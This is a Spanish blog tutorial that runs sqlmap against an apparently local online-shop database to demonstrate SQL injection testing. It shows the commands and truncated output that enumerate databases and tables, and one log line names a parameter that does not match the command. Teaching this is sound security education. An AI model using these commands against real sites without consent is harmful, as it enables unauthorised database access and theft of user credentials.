Como Hacer Pentesting con Kali Linux
En esta página:
Las pruebas de penetración permiten verificar que tan seguros son los sistemas de seguridad de un servidor.
Con los resultados obtenidos de una prueba de penetración, se pueden tomar decisiones que mejoren la seguridad del servidor.
En este tutorial te enseñaré a Como Hacer Pentesting con Kali Linux, vamos con ello.
Podemos hacer pentesting para verificar la seguridad de un firewall, de un sistema de login, de una base de datos, etc.
Para este ejemplo vamos usar una base de datos MySQL a la cual le haremos un ataque de inyección de SQL.
Supongamos que tenemos una tienda online que tiene una base de datos llamada tienda y en su interior tiene varias tablas.
Una de esas tablas se llama usuarios:
Mediante este test de penetración vamos a verificar que tan fácil es o no obtener los datos de la tabla usuarios.
Usare la herramienta sqlmp que viene en Kali Linux.
Ejecuto el siguiente comando para hacer un test de penetración o pentesting a la base de datos tienda:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
sqlmap -u http://localhost/tienda/usuarios.php?usuario=1 --dbs ___ __H__ ___ ___[)]_____ ___ ___ {1.8.2#stable} |_ -| . ['] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:38:18 /2024-04-13/ [15:38:19] [INFO] testing connection to the target URL [15:38:19] [INFO] testing if the target URL content is stable [15:38:19] [INFO] target URL content is stable [15:38:19] [INFO] testing if GET parameter 'artist' is dynamic [15:38:19] [INFO] GET parameter 'artist' appears to be dynamic ... ... ... (Continua el test de penetración) ... ... ... [15:38:56] [INFO] fetching database names available databases [2]: [*] tienda [*] information_schema [15:38:56] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost/tienda' [*] ending @ 15:38:56 /2024-04-13/ |
Luego de ejecutar el comando anterior, fijate sobre el final.
Me aparece la base de datos tienda junto con la base de datos information_schema que es una base de datos nativa de MySQL:
1 2 3 4 5 |
available databases [2]: [*] tienda [*] information_schema |
Con ello verifico que la base de datos esta expuesta a los ataques de inyección de SQL.
Y si quiero puedo ver las tablas que tiene la base de datos tienda:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
sqlmap -u http://localhost/tienda/usuarios.php?usuario=1 -D tienda --tables ___ __H__ ___ ___[)]_____ ___ ___ {1.8.2#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:49:22 /2024-04-13/ [15:49:22] [INFO] resuming back-end DBMS 'mysql' [15:49:22] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: ... ... ... (Continua el test de penetración) ... ... ... [15:49:23] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx 1.19.0, PHP 5.6.40 back-end DBMS: MySQL >= 5.0.12 [15:49:23] [INFO] fetching tables for database: 'tienda' Database: tienda [6 tables] +-----------+ | facturas | | pedidos | | productos | | stock | | usuarios | | ventas | +-----------+ [15:49:23] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost/tienda' [*] ending @ 15:49:23 /2024-04-13/ |
Fijante sobre el final estoy obteniendo las tablas que tiene la base de datos tienda.
Entre esas tablas se encuentra la tabla usuarios que contiene los nombres de usuario y contraseñas.
Y así puedo seguir navegando por la información que hay en la base de datos tienda.
Con ello concluimos que debemos agregar urgentemente un sistema que proteja a la base de datos de inyecciones de SQL.
Conclusión
En este tutorial has aprendido a Como Hacer Pentesting con Kali Linux.
Este tutorial es una base para que te inicies en el área del pentesting o tests de penetración.
Conforme practiques irás mejorando y alcanzarás tus objetivos.
Nota(s)
- No olvides que debemos usar la Tecnología para hacer cosas Buenas por el Mundo.
Síguenos en nuestras Redes Sociales para que no te pierdas nuestros próximos contenidos.
- Pentesting
- 12-04-2024
- 03-05-2024
- Crear un Post - Eventos Devs - Foro
Social
Redes Sociales (Developers)
Redes Sociales (Digital)